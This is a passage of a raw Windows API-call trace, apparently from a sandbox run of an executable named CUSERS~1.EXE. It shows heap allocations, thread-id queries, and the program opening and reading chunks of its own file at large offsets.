RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8148 [0074.982] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca80a0, Size=0x20) returned 0x2a1fbf0 [0074.982] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f50 [0074.982] GetCurrentThreadId () returned 0x9b0 [0074.982] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1800) returned 0x2c27268 [0074.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a963d0 | out: hHeap=0x2ad0000) returned 1 [0074.982] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca80a0 [0074.982] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fbf0, Size=0x40) returned 0x2a18dd0 [0074.982] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f68 [0074.982] GetCurrentThreadId () returned 0x9b0 [0074.982] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca7f68, Size=0x20) returned 0x2a1fbf0 [0074.982] GetCurrentThreadId () returned 0x9b0 [0074.982] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8148, Size=0x20) returned 0x2a1f858 [0074.982] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f68 [0074.982] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f80 [0074.982] GetCurrentThreadId () returned 0x9b0 [0074.982] GetCurrentThreadId () returned 0x9b0 [0074.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3026050 | out: hHeap=0x2ad0000) returned 1 [0074.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbe110 | out: hHeap=0x2ad0000) returned 1 [0074.983] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0074.983] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0074.983] GetCurrentThreadId () returned 0x9b0 [0074.983] GetCurrentThreadId () returned 0x9b0 [0074.983] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0074.983] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0074.983] GetCurrentThreadId () returned 0x9b0 [0074.983] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71940 [0074.983] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x48) returned 0x2aa3910 [0074.983] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71940 | out: hHeap=0x2ad0000) returned 1 [0074.983] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a9b238 [0074.983] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30fba68 | out: hHeap=0x2ad0000) returned 1 [0074.983] GetCurrentThreadId () returned 0x9b0 [0074.983] GetCurrentThreadId () returned 0x9b0 [0074.983] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0074.983] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0074.983] GetCurrentThreadId () returned 0x9b0 [0074.983] GetCurrentThreadId () returned 0x9b0 [0074.983] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0074.983] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0074.983] GetCurrentThreadId () returned 0x9b0 [0074.983] GetCurrentThreadId () returned 0x9b0 [0074.983] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0074.983] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0074.984] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0074.984] GetCurrentThreadId () returned 0x9b0 [0074.984] GetCurrentThreadId () returned 0x9b0 [0074.984] GetCurrentThreadId () returned 0x9b0 [0074.984] GetCurrentThreadId () returned 0x9b0 [0074.984] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0074.984] GetCurrentThreadId () returned 0x9b0 [0074.984] GetCurrentThreadId () returned 0x9b0 [0074.984] GetLastError () returned 0x0 [0074.984] GetLastError () returned 0x0 [0074.984] GetLastError () returned 0x0 [0074.984] GetLastError () returned 0x0 [0074.984] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8100 | out: hHeap=0x2ad0000) returned 1 [0074.984] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8b000 [0074.984] GetLastError () returned 0x0 [0074.984] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9eb8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d8 [0074.984] GetFileType (hFile=0x2d8) returned 0x1 [0074.984] GetLastError () returned 0x0 [0074.984] GetCurrentThreadId () returned 0x9b0 [0074.984] GetLastError () returned 0x0 [0074.985] GetFileType (hFile=0x2d8) returned 0x1 [0074.985] GetFileInformationByHandle (in: hFile=0x2d8, lpFileInformation=0x9b9f34 | out: lpFileInformation=0x9b9f34) returned 1 [0074.985] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f48, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0074.985] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0074.985] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f40, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0074.985] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0074.985] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f38, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0074.985] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0074.985] GetLastError () returned 0x0 [0074.985] GetCurrentThreadId () returned 0x9b0 [0074.985] GetLastError () returned 0x0 [0074.985] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b000 | out: hHeap=0x2ad0000) returned 1 [0074.985] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ffb8 | out: hHeap=0x2ad0000) returned 1 [0074.985] GetLastError () returned 0x0 [0074.985] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=7945781, lpDistanceToMoveHigh=0x9b9fe8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9fe8*=0) returned 0x793e35 [0074.985] GetLastError () returned 0x0 [0074.985] GetCurrentThreadId () returned 0x9b0 [0074.985] GetLastError () returned 0x0 [0074.985] GetCurrentThreadId () returned 0x9b0 [0074.985] GetLastError () returned 0x0 [0074.986] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=8738736, lpDistanceToMoveHigh=0x9ba380*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba380*=0) returned 0x8557b0 [0074.986] GetLastError () returned 0x0 [0074.986] GetCurrentThreadId () returned 0x9b0 [0074.986] GetLastError () returned 0x0 [0074.986] GetCurrentThreadId () returned 0x9b0 [0074.986] GetCurrentThreadId () returned 0x9b0 [0074.986] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x190b) returned 0x3026bc8 [0074.986] GetLastError () returned 0x0 [0074.986] ReadFile (in: hFile=0x2d8, lpBuffer=0x3026bdc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba348, lpOverlapped=0x0 | out: lpBuffer=0x3026bdc*, lpNumberOfBytesRead=0x9ba348*=0x1000, lpOverlapped=0x0) returned 1 [0074.986] ReadFile (in: hFile=0x2d8, lpBuffer=0x2cc34d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba334, lpOverlapped=0x0 | out: lpBuffer=0x2cc34d0*, lpNumberOfBytesRead=0x9ba334*=0x1000, lpOverlapped=0x0) returned 1 [0074.986] GetLastError () returned 0x0 [0074.986] GetCurrentThreadId () returned 0x9b0 [0074.986] GetLastError () returned 0x0 [0074.986] GetCurrentThreadId () returned 0x9b0 [0074.986] GetLastError () returned 0x0 [0074.986] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b900c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b900c*=0) returned 0x8577b0 [0074.986] GetLastError () returned 0x0 [0074.987] GetCurrentThreadId () returned 0x9b0 [0074.987] GetLastError () returned 0x0 [0074.987] GetLastError () returned 0x0 [0074.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc34d0 | out: hHeap=0x2ad0000) returned 1 [0074.987] CloseHandle (hObject=0x2d8) returned 1 [0074.987] GetLastError () returned 0x0 [0074.987] GetCurrentThreadId () returned 0x9b0 [0074.987] GetLastError () returned 0x0 [0074.987] GetLastError () returned 0x0 [0074.987] GetCurrentThreadId () returned 0x9b0 [0074.987] GetLastError () returned 0x0 [0074.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30284e0 | out: hHeap=0x2ad0000) returned 1 [0074.987] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x302a0b8, Size=0x3766) returned 0x302a0b8 [0074.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3026bc8 | out: hHeap=0x2ad0000) returned 1 [0074.987] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x50d) returned 0x3026050 [0074.987] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x23c) returned 0x2a90e00 [0074.987] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3d5) returned 0x2cbe9b0 [0074.987] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8100 [0074.987] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8100, Size=0x20) returned 0x3026e00 [0074.988] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3026e00, Size=0x40) returned 0x2a19130 [0074.988] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19130, Size=0x64) returned 0x2a19818 [0074.988] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19818, Size=0x8c) returned 0x2ac0b70 [0074.988] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0b70, Size=0xb8) returned 0x30fd100 [0074.988] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x24f) returned 0x2ac33b8 [0074.988] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30fd100, Size=0xe8) returned 0x2ac8ea0 [0074.988] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac8ea0, Size=0x120) returned 0x2c37270 [0074.988] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c37270, Size=0x160) returned 0x2cb68a8 [0074.988] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb68a8, Size=0x1a8) returned 0x2cb8868 [0074.988] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2c2) returned 0x2cbe110 [0074.988] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x75a) returned 0x30273d0 [0074.988] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x369) returned 0x3027b38 [0074.988] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb8868, Size=0x1f8) returned 0x2c311d0 [0074.988] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c311d0, Size=0x250) returned 0x2ac4960 [0074.988] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac4960, Size=0x2b4) returned 0x2c2cf88 [0074.988] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c2cf88, Size=0x324) returned 0x2bac300 [0074.988] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bac300 | out: hHeap=0x2ad0000) returned 1 [0074.988] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x302a0b8 | out: hHeap=0x2ad0000) returned 1 [0074.988] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af60 [0074.988] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af60 | out: hHeap=0x2ad0000) returned 1 [0074.988] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30fb758 [0074.989] GetCurrentThreadId () returned 0x9b0 [0074.989] GetCurrentThreadId () returned 0x9b0 [0074.989] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0074.989] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0074.989] GetCurrentThreadId () returned 0x9b0 [0074.989] GetCurrentThreadId () returned 0x9b0 [0074.989] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0074.989] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0074.989] GetCurrentThreadId () returned 0x9b0 [0074.989] GetCurrentThreadId () returned 0x9b0 [0074.989] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0074.989] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0074.989] GetCurrentThreadId () returned 0x9b0 [0074.989] GetCurrentThreadId () returned 0x9b0 [0074.989] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0074.989] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0074.989] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0074.989] GetCurrentThreadId () returned 0x9b0 [0074.989] GetCurrentThreadId () returned 0x9b0 [0074.989] GetCurrentThreadId () returned 0x9b0 [0074.989] GetCurrentThreadId () returned 0x9b0 [0074.989] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0074.989] GetCurrentThreadId () returned 0x9b0 [0074.989] GetCurrentThreadId () returned 0x9b0 [0074.990] GetLastError () returned 0x0 [0074.990] GetLastError () returned 0x0 [0074.990] GetLastError () returned 0x0 [0074.990] GetLastError () returned 0x0 [0074.990] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8100 | out: hHeap=0x2ad0000) returned 1 [0074.990] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8af60 [0074.990] GetLastError () returned 0x0 [0074.990] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9868, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d8 [0074.990] GetFileType (hFile=0x2d8) returned 0x1 [0074.990] GetLastError () returned 0x0 [0074.990] GetCurrentThreadId () returned 0x9b0 [0074.990] GetLastError () returned 0x0 [0074.990] GetFileType (hFile=0x2d8) returned 0x1 [0074.990] GetFileInformationByHandle (in: hFile=0x2d8, lpFileInformation=0x9b98e4 | out: lpFileInformation=0x9b98e4) returned 1 [0074.990] FileTimeToLocalFileTime (in: lpFileTime=0x9b98f8, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0074.990] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0074.990] FileTimeToLocalFileTime (in: lpFileTime=0x9b98f0, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0074.990] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0074.990] FileTimeToLocalFileTime (in: lpFileTime=0x9b98e8, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0074.990] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0074.991] GetLastError () returned 0x0 [0074.991] GetCurrentThreadId () returned 0x9b0 [0074.991] GetLastError () returned 0x0 [0074.991] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af60 | out: hHeap=0x2ad0000) returned 1 [0074.991] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a201c8 | out: hHeap=0x2ad0000) returned 1 [0074.991] GetLastError () returned 0x0 [0074.991] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=8745126, lpDistanceToMoveHigh=0x9b9998*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9998*=0) returned 0x8570a6 [0074.991] GetLastError () returned 0x0 [0074.991] GetCurrentThreadId () returned 0x9b0 [0074.991] GetLastError () returned 0x0 [0074.991] GetCurrentThreadId () returned 0x9b0 [0074.991] GetLastError () returned 0x0 [0074.991] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=8736879, lpDistanceToMoveHigh=0x9b9d30*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9d30*=0) returned 0x85506f [0074.991] GetLastError () returned 0x0 [0074.991] GetCurrentThreadId () returned 0x9b0 [0074.991] GetLastError () returned 0x0 [0074.991] GetCurrentThreadId () returned 0x9b0 [0074.991] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x756) returned 0x3027eb0 [0074.991] GetLastError () returned 0x0 [0074.991] ReadFile (in: hFile=0x2d8, lpBuffer=0x2cc34d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b9ce4, lpOverlapped=0x0 | out: lpBuffer=0x2cc34d0*, lpNumberOfBytesRead=0x9b9ce4*=0x1000, lpOverlapped=0x0) returned 1 [0074.992] GetLastError () returned 0x0 [0074.992] GetCurrentThreadId () returned 0x9b0 [0074.992] GetLastError () returned 0x0 [0074.992] GetCurrentThreadId () returned 0x9b0 [0074.992] GetCurrentThreadId () returned 0x9b0 [0074.992] GetLastError () returned 0x0 [0074.992] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b89bc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b89bc*=0) returned 0x85606f [0074.992] GetLastError () returned 0x0 [0074.992] GetCurrentThreadId () returned 0x9b0 [0074.992] GetLastError () returned 0x0 [0074.992] GetLastError () returned 0x0 [0074.992] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc34d0 | out: hHeap=0x2ad0000) returned 1 [0074.992] CloseHandle (hObject=0x2d8) returned 1 [0074.992] GetLastError () returned 0x0 [0074.992] GetCurrentThreadId () returned 0x9b0 [0074.992] GetLastError () returned 0x0 [0074.992] GetLastError () returned 0x0 [0074.992] GetCurrentThreadId () returned 0x9b0 [0074.992] GetLastError () returned 0x0 [0074.992] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028610 | out: hHeap=0x2ad0000) returned 1 [0074.993] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x302a1e8, Size=0xe8c) returned 0x302a1e8 [0074.993] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3027eb0 | out: hHeap=0x2ad0000) returned 1 [0074.993] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8100 [0074.993] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8100, Size=0x20) returned 0x30270f8 [0074.993] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2df) returned 0x3027eb0 [0074.993] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30270f8, Size=0x40) returned 0x2a19130 [0074.993] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19130, Size=0x64) returned 0x2a19508 [0074.993] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19508, Size=0x8c) returned 0x2ac0ca0 [0074.993] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0ca0, Size=0xb8) returned 0x30fd4c0 [0074.993] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30fd4c0, Size=0xe8) returned 0x2ac9620 [0074.993] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac9620, Size=0x120) returned 0x2c37398 [0074.993] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c37398, Size=0x160) returned 0x2cb6740 [0074.993] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb6740, Size=0x1a8) returned 0x2cb7aa8 [0074.993] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb7aa8, Size=0x1f8) returned 0x2c305a0 [0074.993] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c305a0 | out: hHeap=0x2ad0000) returned 1 [0074.993] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x302a1e8 | out: hHeap=0x2ad0000) returned 1 [0074.993] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b000 [0074.993] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b000 | out: hHeap=0x2ad0000) returned 1 [0074.993] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30f9bc8 [0074.993] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a9ac30 [0074.994] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30f9bc8 | out: hHeap=0x2ad0000) returned 1 [0074.994] GetCurrentThreadId () returned 0x9b0 [0074.994] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xf8) returned 0x2cbacf8 [0074.994] GetCurrentThreadId () returned 0x9b0 [0074.994] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30f8e00 [0074.994] GetCurrentThreadId () returned 0x9b0 [0074.994] GetCurrentThreadId () returned 0x9b0 [0074.994] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a957c0 [0074.994] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30f8e00 | out: hHeap=0x2ad0000) returned 1 [0074.994] GetCurrentThreadId () returned 0x9b0 [0074.994] GetCurrentThreadId () returned 0x9b0 [0074.994] GetCurrentThreadId () returned 0x9b0 [0074.994] GetCurrentThreadId () returned 0x9b0 [0074.994] GetCurrentThreadId () returned 0x9b0 [0074.994] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbacf8 | out: hHeap=0x2ad0000) returned 1 [0074.994] GetCurrentThreadId () returned 0x9b0 [0074.994] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0074.995] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0074.995] GetCurrentThreadId () returned 0x9b0 [0074.995] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x108) returned 0x2a1ad48 [0074.995] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a963d0 [0074.995] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30fb758 | out: hHeap=0x2ad0000) returned 1 [0074.995] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0074.995] GetCurrentThreadId () returned 0x9b0 [0074.995] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0074.995] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0074.995] GetCurrentThreadId () returned 0x9b0 [0074.995] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x108) returned 0x2a1a5a0 [0074.995] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8100 [0074.995] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8100, Size=0x20) returned 0x3027288 [0074.995] GetCurrentThreadId () returned 0x9b0 [0074.995] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3027288, Size=0x40) returned 0x2a18e18 [0074.995] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18e18, Size=0x64) returned 0x2a195e8 [0074.995] GetCurrentThreadId () returned 0x9b0 [0074.995] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a195e8, Size=0x8c) returned 0x2ac0f00 [0074.995] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0f00, Size=0xb8) returned 0x30fd1c0 [0074.995] GetCurrentThreadId () returned 0x9b0 [0074.996] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30fd1c0, Size=0xe8) returned 0x2ac99e0 [0074.996] GetCurrentThreadId () returned 0x9b0 [0074.996] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac99e0, Size=0x120) returned 0x2c37398 [0074.996] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0074.996] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71940 [0074.996] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71940 | out: hHeap=0x2ad0000) returned 1 [0074.996] GetCurrentThreadId () returned 0x9b0 [0074.996] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1800) returned 0x2c1ca30 [0074.996] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a963d0 | out: hHeap=0x2ad0000) returned 1 [0074.996] GetCurrentThreadId () returned 0x9b0 [0074.996] GetCurrentThreadId () returned 0x9b0 [0074.996] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af60 [0074.996] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8100 [0074.996] GetCurrentThreadId () returned 0x9b0 [0074.996] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30f8e00 [0074.996] GetCurrentThreadId () returned 0x9b0 [0074.996] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8148 [0074.996] GetCurrentThreadId () returned 0x9b0 [0074.996] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8298 [0074.996] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af70 [0074.997] GetCurrentThreadId () returned 0x9b0 [0074.997] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca84a8 [0074.997] GetCurrentThreadId () returned 0x9b0 [0074.997] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 